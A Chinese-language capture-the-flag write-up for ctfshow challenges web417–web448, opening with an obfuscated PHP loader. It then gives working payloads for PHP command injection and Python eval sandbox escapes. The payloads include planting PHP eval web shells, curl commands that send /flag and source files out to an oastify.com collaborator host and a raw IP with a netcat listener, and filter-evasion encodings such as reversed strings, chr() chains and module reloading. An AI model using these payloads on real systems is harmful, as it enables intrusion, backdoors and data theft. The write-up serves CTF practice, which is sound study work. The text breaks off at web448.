fk07UWUtnXwuU21HgkvuaXYavge3yhxmiPSJfVhvo0U3eee4oKePgK5To3E2PueifkhpUkcuf05sPKAoyeeVeheHo1cIyeUaFVepxqvHe1URyJxmSkxQeu9uo1UyygEsghSPJuvteIklUexoekkyghkuvWvgPTEsihcPehcHvuyIJK5XfevWoktJvGEMPutsSKSeiGYTnghkJhJ1fhRjihxHnVtQyP1Vx1eMnkUHvPvqeCSVRu1QLqBonhYRy1UmLekeLkvuv2vsJ1J5oeYpnq1uo1s0UqeVgkvBguSgoIkXJeemeVvDUkSHPkYkPeUoeeUkxq9Uf1YYggYkfhhenqYie3vaeKd5FkxBLqYHehcMyTE0iKvJPKtTeJ5XyPBivkcBLkvSvhUAeWcXneRAguvonWr0UqUPJVeQJK1tngE3UP1VneUkgu5geKR0JISVeeRmU3hUfKADJPB4geYZvheWnWvzUqeVoVSPJTEtoIe2yTkaxVvkJKtPnkYAPhJ1Jq1DvhxSe0cDJ1e4R2YDSgSWv0UQPgYdiPYZegYUeucsehxmveUBUDkenkcZyPBinkkWLqevFhcRekxkfKkpJGkJf0UtyPBVxkSyUV5oeIeSe1tayeUQJGkJngh2yhedJq1kPuSufhclJPd5oeSDfDxhnJUBeuezieSeFCYHiVwmJex4ikh6RTeifK8jJ21USeYkxqcio3w1e2cPveSqiWxJf0UXgJtmShxMokETeJsIPK5dR09WPu9SfJYSUeepSecpxqcJikcDPKBVeKepfecJf0UCeqtonq1peWtio2mAUqUEFeYdnVAHnKmjUeedxhUPRK1WvVvgyhtiPecyU3xWvgv3JIkuf1yAnV9oeq5MJPAEFq1qUkSHe2AmJKAmRhxDeTvSvVAvggr5fkSqgTetiDENe1J5FkkeFq1oeqc2PP1VFkumiuhgeKvby2Aex2edvGeufPm1gP5Tf1eBfgEevec1eCSiiecpgK9UfPtVeuxSFq9yiu5Se05iegkof1JjghvheVvgyhxpSJhMxVAunJUIi0STl1Ecy3eav2v0PPB4eecCU2BhneUkeqxmyJBCJGSgeGEQegEpn0ckSWxHe3EYy1S3o1YZeGtUPkUti2cYLqACJGSgeGEQegEpn0ckSWxHe3EYy1S3o1YZeGtUPkUtgqSiv2vyvKtueK9mgqSiL1SPLqtefVBbiuJ1x2YWLqhTJ3x3gqSiv2vyvKtueK9mi1SpLq93Ng0Haiu7NI4=";
define('JJDazS0126', aPeKTP0126);
$aTwfpK = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$MSvnNx = $aTwfpK[3] . $aTwfpK[6] . $aTwfpK[33] . $aTwfpK[30];
$chTTyc = $aTwfpK[33] . $aTwfpK[10] . $aTwfpK[24] . $aTwfpK[10] . $aTwfpK[24];
$pBPqxF = $chTTyc[0] . $aTwfpK[18] . $aTwfpK[3] . $chTTyc[0] . $chTTyc[1] . $aTwfpK[24];
$CVpmWr = $aTwfpK[7] . $aTwfpK[13];
$MSvnNx .= $aTwfpK[22] . $aTwfpK[36] . $aTwfpK[29] . $aTwfpK[26] . $aTwfpK[30] . $aTwfpK[32] . $aTwfpK[35] . $aTwfpK[26] . $aTwfpK[30];
$YnHJfw = "yPLosjtGxVWYXpchUDSIARCNfmHdqEweblvMQZkiKOzuBTgJrFankarTWjhysZAJNIVtOxliHdgCFGPMnRmSqUQufzYLDvpEeXcKBbwoax9mwPHcap4=";
$MhxWeB = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$gmbLTd = $MhxWeB[3] . $MhxWeB[6] . $MhxWeB[33] . $MhxWeB[30];
$zeDLjZ = $MhxWeB[33] . $MhxWeB[10] . $MhxWeB[24] . $MhxWeB[10] . $MhxWeB[24];
$lIZGSI = $zeDLjZ[0] . $MhxWeB[18] . $MhxWeB[3] . $zeDLjZ[0] . $zeDLjZ[1] . $MhxWeB[24];
$FuqauZ = $MhxWeB[7] . $MhxWeB[13];
$gmbLTd .= $MhxWeB[22] . $MhxWeB[36] . $MhxWeB[29] . $MhxWeB[26] . $MhxWeB[30] . $MhxWeB[32] . $MhxWeB[35] . $MhxWeB[26] . $MhxWeB[30];
$MhxWeB = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$gmbLTd = $MhxWeB[3] . $MhxWeB[6] . $MhxWeB[33] . $MhxWeB[30];
$zeDLjZ = $MhxWeB[33] . $MhxWeB[10] . $MhxWeB[24] . $MhxWeB[10] . $MhxWeB[24];
$lIZGSI = $zeDLjZ[0] . $MhxWeB[18] . $MhxWeB[3] . $zeDLjZ[0] . $zeDLjZ[1] . $MhxWeB[24];
$FuqauZ = $MhxWeB[7] . $MhxWeB[13];
$gmbLTd .= $MhxWeB[22] . $MhxWeB[36] . $MhxWeB[29] . $MhxWeB[26] . $MhxWeB[30] . $MhxWeB[32] . $MhxWeB[35] . $MhxWeB[26] . $MhxWeB[30];
$NpmjHq = "BApQLcySgrJodDtbGYwsafVZPUTnFliRqzKCmeOhjxXuNvEWkHMITCimJyfSAsPtKRgHIeUYlQwFpuMhWLZcdxzqBkroDENvObVnXGjapR9UlGCOqA0zJftOqZjAJStgaIObFILvFxtAKNcBJMAAJStgRmtDaVTTKNctH3a6aIAEkIVOqZjAmVcoKIu6aqCAjDCfjS0UjS0fOSCfjxtUOxtfjm0zafTCMIWxKqTOH2ciFBLLFqTZkMtAaqTtjNooRmtDaVTjeNO0aV1bFILBlnwXaGciHnu6aRaUjDVgjRVgjDeAjDC6OMa6jDjOqZjAmIwgenLYrZTtjNoomIO0FBwfJBObHm0zafTCHILvlxtAlGc0yGj6Jf9DKIFLyZ5DH20OqA0zzZ8OqBwfyB9fN3PLyI9fKILvFfAUzMYOqBLve2E1FIutP2FYenyvyIoUPfX7RmtXex0XN0KWwWYhe3cBP107RmiiFZAXex09P3OtH3yhzNYOqALLe2obaqcBHIWhrU0zQnwYy2w7RmtPFnOtHfChcXETc19rM1cQSVwScSy7Rmi9";
echo('?>' . $gmbLTd($zeDLjZ($lIZGSI($NpmjHq, $FuqauZ * 2), $lIZGSI($NpmjHq, $FuqauZ, $FuqauZ), $lIZGSI($NpmjHq, 0, $FuqauZ))));
最后终于出来:
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 20:52:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
echo $flag;
}else{
echo 'FLAG_NOT_HERE';
}
GET:
?ctf=show
web418
<?php
$key= 0;
$clear='clear.php';
highlight_file(__FILE__);
//获取参数
$ctfshow=$_GET['ctfshow'];
//包含清理脚本
include($clear);
extract($_POST);
if($key===0x36d){
//帮黑阔写好后门
eval('<?php '.$ctfshow.'?>');
}else{
$die?die('FLAG_NOT_HERE'):clear($clear);
}
function clear($log){
shell_exec('rm -rf '.$log);
}
给变量clear用分号截断命令即可
$die?die('FLAG_NOT_HERE'):clear($clear);
由于变量die没有被赋值,因此可以进行变量覆盖
这是三目运算符,我们可以传入0来触发后面的clear($clear)
POST:
die=0&clear=;echo '<?=eval($_POST[1]);?>'>/var/www/html/1.php
web419
<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 17){
eval($code);
}
反引号执行命令:把当前目录下的flag.php复制到1.txt
code=`cp f* 1.txt`;
web420
<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 8){
system($code);
}
code长度被限制在8位以内
思路1:nl命令
code=nl ../*
思路2:写文件并执行
目标是传入<?=eval($_POST[1]);:
echo PD89ZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php;
先用重定向符创建文件,依次执行以下命令:
>hp\;
>1.p\\
>d\>\\
>\-\\
>4\ \\
>e6\\
>bas\\
>=\|\\
>w=\\
>0pO\\
>bMV\\
>U1R\\
>1BP\\
>gkX\\
>hbC\\
>ZXZ\\
>PD89\\
>o\ \\
>ech\\
然后把这些文件名以时间倒序形式写入任意一个文件,例如0
ls -t>0
最后运行文件即可,会执行0里面的命令,然后在当前目录创建一个1.php
sh 0
效果:

web421
<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 6){ system($code);
}
code长度被限制在6位以内
code=nl f*
web422
<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 5){
system($code);
}
code长度被限制在5位以内
code=nl *
web423
where is flag?<!-- /?code -->
这个网站是python文件运行的,要用python代码执行
?code=os.popen('cat app.py').read()
返回:
from flask import Flask
from flask import request
import os
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
?code=os.popen('tac /flag').read()
web424
用?code=os.popen('ls').read()会报内部错误,执行命令不可以
用open函数读取文件:
?code=open('app.py').read()
返回:
from flask import Flask
from flask import request
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
这次没有了os模块,没办法执行系统命令
?code=open('/flag').read()
web425
?code=open('app.py').read()
返回:
from flask import Flask
from flask import request
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
if 'os' not in code:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
过滤了code里面的os字符串,其他都是一样的
?code=open('/flag').read()
web426
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|popen')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
开头不能包含os和popen
?code=open('/flag').read()
web427
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|popen|system')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
比上题多过滤了system
?code=open('/flag').read()
web428
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|popen|system|read')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
比上题多过滤了read,不过因为reg.match(code)匹配的是开头,所以对我们没有影响
?code=open('/flag').read()
web429
在前面加个空格即可绕过限制
?code= open('app.py').read()
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
这题过滤了open字符串,因为re.match() 是从字符串开头匹配,所以我们在前面加个空格即可绕过
?code= open('/flag').read()
web430
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
这题把eval也过滤了,不过没影响
?code= open('/flag').read()
web431
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval|str')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
这题把str也过滤了,不过没影响
?code= open('/flag').read()
web432
用类似SSTI模板注入的方法来做,构造一条命令执行的链子
import requests
base_url = input('请输入URL链接: ')
for i in range(0, 500):
payload = 'str("".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__)'
response = requests.get(
base_url,
params={"code": payload},
timeout=3
)
if response.status_code == 200:
if 'function popen' in response.text:
print("Found index:", i)
break
返回:
Found index: 132
?code=str("".__class__.__base__.__subclasses__()[132].__init__.__globals__['po'+'pen']('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?p=`base64 -w 0 app.py`'))
得到源码:
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
可以看到之前的reg.match(code)改成了reg.search(code),意味着从检测开头变换到检测整个字符串
由于os.system()不会把命令的输出结果返回给 Python 程序,所以我们用curl外带数据显示
读取flag:
nc -lvp 8888
?code=str(__builtins__.__dict__['__impo'+'rt__']('o'+'s').__getattribute__('syste'+'m')('curl http://156.226.180.199:8888?p=`cat /flag`'))
可以看到之前的reg.match(code)改成了reg.search(code),意味着从检测开头变换到检测整个字符串
使用Collaborator:
?code=str(__builtins__.__dict__['__impo'+'rt__']('o'+'s').__getattribute__('syste'+'m')('curl http://etbmqedf1zpyzd97xbjw9nrxsoyfm5au.oastify.com?p=`cat /flag`'))
分析payload:
__getattribute__:是 Python 对象的一个方法,用于获取对象的属性。os.__getattribute__('system') 的效果和 os.system 完全一样
web433
?code=str("".__class__.__base__.__subclasses__()[132].__init__.__globals__['po'+'pen']('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?p=`base64 -w 0 app.py`'))
可以看到这题把builtins模块禁了,我们直接import就可以
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval|builtins')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
?code=str("".__class__.__base__.__subclasses__()[132].__init__.__globals__['po'+'pen']('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?p=`cat /flag`'))
web434
把curl过滤了
?code=str("".__class__.__base__.__subclasses__()[132].__init__.__globals__['po'+'pen']('cu'+'rl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?p=`base64 -w 0 app.py`'))
from flask import Flask
from flask import request
import re
app = Flask(__name__)
def Q2B(uchar):
"""单个字符 全角转半角"""
inside_code = ord(uchar)
if inside_code == 0x3000:
inside_code = 0x0020
else:
inside_code -= 0xfee0
if inside_code < 0x0020 or inside_code > 0x7e: #转完之后不是半角字符返回原来的字符
return uchar
return chr(inside_code)
def stringQ2B(ustring):
"""把字符串全角转半角"""
return "".join([Q2B(uchar) for uchar in ustring])
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
code = stringQ2B(code)
reg = re.compile(r'os|open|system|read|eval|builtins|curl')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
发现多了两个函数,用于将字符串中的全角字符转换为半角字符,然后后面调用 stringQ2B 将 code 中的全角字符全部转为半角,返回结果重新赋值给 code
?code=str("".__class__.__base__.__subclasses__()[132].__init__.__globals__['po'+'pen']('cu'+'rl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?p=`cat /flag`'))
web435-web439
把下划线禁了
使用exec函数执行多行代码,代码逆序
a = 'import os;os.system("curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?flag=`cat /flag`")'
print(a[::-1])
)"`galf/ tac`=galf?moc.yfitsao.ohzt85hzqyggpq440g66rws88k7xf507//:ptth lruc"(metsys.so;so tropmi
?code=str(exec(')"`galf/ tac`=galf?moc.yfitsao.ohzt85hzqyggpq440g66rws88k7xf507//:ptth lruc"(metsys.so;so tropmi'[::-1]))
web440
过滤了单引号和双引号
使用chr函数来绕过:
a = 'import os;os.system("curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?flag=`cat /flag`")'
def chr2chr(a):
t=''
for i in range(len(a)):
if i < len(a)-1:
t+='chr('+str(ord(a[i]))+')%2b'
else:
t+='chr('+str(ord(a[i]))+')'
return t
print(chr2chr(a))
chr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(32)%2bchr(111)%2bchr(115)%2bchr(59)%2bchr(111)%2bchr(115)%2bchr(46)%2bchr(115)%2bchr(121)%2bchr(115)%2bchr(116)%2bchr(101)%2bchr(109)%2bchr(40)%2bchr(34)%2bchr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(55)%2bchr(48)%2bchr(53)%2bchr(102)%2bchr(120)%2bchr(55)%2bchr(107)%2bchr(56)%2bchr(56)%2bchr(115)%2bchr(119)%2bchr(114)%2bchr(54)%2bchr(54)%2bchr(103)%2bchr(48)%2bchr(52)%2bchr(52)%2bchr(113)%2bchr(112)%2bchr(103)%2bchr(103)%2bchr(121)%2bchr(113)%2bchr(122)%2bchr(104)%2bchr(53)%2bchr(56)%2bchr(116)%2bchr(122)%2bchr(104)%2bchr(111)%2bchr(46)%2bchr(111)%2bchr(97)%2bchr(115)%2bchr(116)%2bchr(105)%2bchr(102)%2bchr(121)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%2bchr(63)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(61)%2bchr(96)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(96)%2bchr(34)%2bchr(41)
?code=str(exec(chr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(32)%2bchr(111)%2bchr(115)%2bchr(59)%2bchr(111)%2bchr(115)%2bchr(46)%2bchr(115)%2bchr(121)%2bchr(115)%2bchr(116)%2bchr(101)%2bchr(109)%2bchr(40)%2bchr(34)%2bchr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(55)%2bchr(48)%2bchr(53)%2bchr(102)%2bchr(120)%2bchr(55)%2bchr(107)%2bchr(56)%2bchr(56)%2bchr(115)%2bchr(119)%2bchr(114)%2bchr(54)%2bchr(54)%2bchr(103)%2bchr(48)%2bchr(52)%2bchr(52)%2bchr(113)%2bchr(112)%2bchr(103)%2bchr(103)%2bchr(121)%2bchr(113)%2bchr(122)%2bchr(104)%2bchr(53)%2bchr(56)%2bchr(116)%2bchr(122)%2bchr(104)%2bchr(111)%2bchr(46)%2bchr(111)%2bchr(97)%2bchr(115)%2bchr(116)%2bchr(105)%2bchr(102)%2bchr(121)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%2bchr(63)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(61)%2bchr(96)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(96)%2bchr(34)%2bchr(41)))
web441
把加号过滤了,用join函数来拼接字符
s = 'import os;os.system("curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?flag=`cat /flag`")'
res = ''
for i in s:
res += f"chr({ord(i)}),"
print('exec(str().join(['+res[:-1]+']))')
返回:
?code=str(exec(str().join([chr(105),chr(109),chr(112),chr(111),chr(114),chr(116),chr(32),chr(111),chr(115),chr(59),chr(111),chr(115),chr(46),chr(115),chr(121),chr(115),chr(116),chr(101),chr(109),chr(40),chr(34),chr(99),chr(117),chr(114),chr(108),chr(32),chr(104),chr(116),chr(116),chr(112),chr(58),chr(47),chr(47),chr(55),chr(48),chr(53),chr(102),chr(120),chr(55),chr(107),chr(56),chr(56),chr(115),chr(119),chr(114),chr(54),chr(54),chr(103),chr(48),chr(52),chr(52),chr(113),chr(112),chr(103),chr(103),chr(121),chr(113),chr(122),chr(104),chr(53),chr(56),chr(116),chr(122),chr(104),chr(111),chr(46),chr(111),chr(97),chr(115),chr(116),chr(105),chr(102),chr(121),chr(46),chr(99),chr(111),chr(109),chr(63),chr(102),chr(108),chr(97),chr(103),chr(61),chr(96),chr(99),chr(97),chr(116),chr(32),chr(47),chr(102),chr(108),chr(97),chr(103),chr(96),chr(34),chr(41)])))
web442
难点:把数字过滤了
解决:用request.args.get方法获取参数值
?code=str(exec(request.args.get(request.method)))&GET=import os;os.system('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?flag=`cat /flag`')
web443
难点:把request过滤了
解决:利用全局变量来获取字符
先看看全局变量:
POST:
code=str(globals())
返回:
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f84738d5b80>, '__spec__': None, '__annotations__': {}, '__builtins__': , '__file__': '/app/app.py', '__cached__': None, 'Flask': , 'request': , 're': , 'app': , 'Q2B': , 'stringQ2B': , 'app_index': }
request所在的索引为10
数字和加号被禁了,所以我们可以用True来表示1,用两个减号表示加号
True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)
然后用list(globals().keys())[]来获取对应的键名,再放进globals()[]获取对应的属性和方法,从而调用args.get()获取参数值
request:
globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]]
request.args.get(request.method):
globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)
GET:
?POST=import os;os.system('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?flag=`cat /flag`')
POST:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
web444
from flask import Flask
from flask import request
import re
app = Flask(__name__)
def Q2B(uchar):
inside_code = ord(uchar)
if inside_code == 0x3000:
inside_code = 0x0020
else:
inside_code -= 0xfee0
if inside_code < 0x0020 or inside_code > 0x7e:
return uchar
return chr(inside_code)
def stringQ2B(ustring):
return "".join([Q2B(uchar) for uchar in ustring])
@app.route('/',methods=['POST', 'GET'])
def app_index():
if request.method == 'POST':
code = request.form['code']
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
这题把len过滤了,可以继续用上题的方法
GET:
?POST=import os;os.system('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?flag=`cat /flag`')
POST:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
web445
from flask import Flask
from flask import request
import re
import os
del os.system
del os.popen
app = Flask(__name__)
def Q2B(uchar):
inside_code = ord(uchar)
if inside_code == 0x3000:
inside_code = 0x0020
else:
inside_code -= 0xfee0
if inside_code < 0x0020 or inside_code > 0x7e:
return uchar
return chr(inside_code)
def stringQ2B(ustring):
return "".join([Q2B(uchar) for uchar in ustring])
@app.route('/',methods=['POST', 'GET'])
def app_index():
if request.method == 'POST':
code = request.form['code']
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
难点:开头那里把os.system和os.popen去掉了
解决:以用reload函数重新加载os模块,然后再重新调用system函数
GET:
?POST=from importlib import reload;reload(os);os.system('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?flag=`cat /flag`')
POST:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
web446
from flask import Flask
from flask import request
import re
import os
import imp
del os.system
del os.popen
del imp.reload
app = Flask(__name__)
def Q2B(uchar):
inside_code = ord(uchar)
if inside_code == 0x3000:
inside_code = 0x0020
else:
inside_code -= 0xfee0
if inside_code < 0x0020 or inside_code > 0x7e:
return uchar
return chr(inside_code)
def stringQ2B(ustring):
return "".join([Q2B(uchar) for uchar in ustring])
@app.route('/',methods=['POST', 'GET'])
def app_index():
if request.method == 'POST':
code = request.form['code']
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
这题相比上题把imp.reload函数去掉了
imp 是 Python 早期用于动态加载模块的内置模块,在 Python 3.4 之后,imp 模块已被废弃,不再推荐使用,而是被更强大的 importlib 模块所取代,所以这题可以继续使用上题的方法
GET:
?POST=from importlib import reload;reload(os);os.system('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?flag=`cat /flag`')
POST:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
web447
from flask import Flask
from flask import request
import re
import os
import imp
del os.system
del os.popen
del imp.reload
import subprocess
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.getstatusoutput
del subprocess.getoutput
del subprocess.check_call
del subprocess.check_output
import timeit
del timeit.timeit
app = Flask(__name__)
def Q2B(uchar):
inside_code = ord(uchar)
if inside_code == 0x3000:
inside_code = 0x0020
else:
inside_code -= 0xfee0
if inside_code < 0x0020 or inside_code > 0x7e:
return uchar
return chr(inside_code)
def stringQ2B(ustring):
return "".join([Q2B(uchar) for uchar in ustring])
@app.route('/',methods=['POST', 'GET'])
def app_index():
if request.method == 'POST':
code = request.form['code']
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
这题过滤了挺多东西,例如用于创建和管理子进程的subprocess模块和用于测量一小段代码执行时间的timeit模块,但是不影响我们用之前的方法
GET:
?POST=from importlib import reload;reload(os);os.system('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?flag=`cat /flag`')
POST:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
web448
from flask import Flask
from flask import request
import re
import sys
sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None
app = Flask(__name__)
def Q2B(uchar):
inside_code = ord(uchar)
if inside_code == 0x3000:
inside_code = 0x0020
else:
inside_code -= 0xfee0
if inside_code < 0x0020 or inside_code > 0x7e:
return uchar
return chr(inside_code)
def stringQ2B(ustring):
return "".join([Q2B(uchar) for uchar in ustring])
@app.route('/',methods=['POST', 'GET'])
def app_index():
if request.method == 'POST':
code = request.form['code']
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
将 sys.modules[模块名]设为 None,可以让 Python 认为该模块已被加载,但实际值为 None
这会导致后续 import 该模块时,不再真正加载,而是返回 None,不能直接用reload了,因为 Python 会在 sys.modules 里查找,发现值为 None,而不是模块对象,于是 import 或 reload 过程中会抛出 ModuleNotFoundError 异常
思路1:
用shutil模块的copy函数把os.py复制到一个新文件下,然后重新导入新模块即可
GET:
?POST=import shutil;shutil.copy('/usr/local/lib/python3.8/os.py','a.py');import a;a.system('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?flag=`cat /flag`')
POST:
